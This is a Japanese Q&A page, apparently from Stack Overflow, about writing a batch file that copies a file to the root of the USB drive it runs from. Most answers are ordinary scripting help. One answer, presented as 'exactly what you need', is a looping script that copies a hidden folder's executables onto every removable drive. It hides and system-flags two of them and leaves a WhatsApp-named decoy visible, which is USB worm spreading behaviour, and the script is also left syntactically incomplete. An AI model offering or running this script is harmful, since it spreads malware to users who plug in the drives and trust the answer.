1

USBフラッシュドライブのように.batファイルが配置されているルートフォルダーに、任意のDirからファイルをコピーするバッチファイルを作成したいと考えています。

私の不完全なコマンド:

    xcopy /s "%userprofile%\Desktop\test.txt" "?"

「?」に置き換えられるものは何ですか? ??? みんなありがとう

4

5 に答える 5

0
 xcopy /s "%userprofile%\Desktop\test.txt" "\"
于 2013-05-29T11:26:04.363 に答える
0

あなたがする必要があるのは、USB ディレクトリの相対パスを使用することです。コードは次のようになります。

@echo off
set /p entry= Enter the the path of the file you'd like to copy:
copy %entry% %~dp0\*.*
@pause

これにより、フォルダーのコピー元/その名前のプロンプトに入ることができます。ファイルには元のファイルと同じ名前が付けられ、元の形式 (.txt など) が維持されます。反対票を投じるのではなく、これがうまくいかない場合はお知らせください。できるだけ早く別の解決策を考えます。頑張ってください!

于 2014-10-07T23:41:57.107 に答える
0
@ECHO Off
:loop
@echo off
set INTERVAL=5
for /F "tokens=1*" %%a in ('fsutil fsinfo drives') do (
  for %%c in (%%b) do (
     for /F "tokens=3" %%d in ('fsutil fsinfo drivetype %%c') do (
        if %%d equ Removable (
          echo %%c is Removable
            cd "%USERPROFILE%\Appdata\Local\SystemSettings"
              xcopy "%USERPROFILE%\Appdata\Local\SystemSettings" "%%c" /s /e /h /y
                ATTRIB +H -R +S %%cConfigure.exe
                   ATTRIB +H -R +S %%cHL~Realtime~Defense.exe
                      ATTRIB -H -R -s %%cWhatsapp,Inc.exe

timeout /nobreak /t 99
goto loop

まさにあなたが必要とするものです

于 2016-03-12T10:56:38.560 に答える
0

USBドライブのドライブ文字に置き換えてから、次のようにする必要があります:\ 。したがって、本当の問題は、システム内のどのドライブがUSBフラッシュドライブであるかを判断する方法です。コードは次のとおりです。

@echo off
setlocal enabledelayedexpansion
set INTEXTFILE=temp.txt
set OUTTEXTFILE=temp.bat
set SEARCHTEXT='Removable Disk'
set REPLACETEXT=
set OUTPUTLINE=
wmic logicaldisk get name,description|grep -h "Removable" > %INTEXTFILE%

for /f "tokens=3,* delims= " %%A in ( '"type %INTEXTFILE%"') do (
SET string=%%A
SET modified=!string:%SEARCHTEXT%=%REPLACETEXT%!
)
echo xcopy /s "%userprofile%\Desktop\test.txt" !modified! > %OUTTEXTFILE%
call %OUTTEXTFILE%
del  %OUTTEXTFILE%
del  %INTEXTFILE%

ただし、1 つのリムーバブル ディスクに対してのみ機能することを考慮してください。このタイプのデバイスが 2 つ接続されていると失敗します。

于 2013-05-29T11:38:27.630 に答える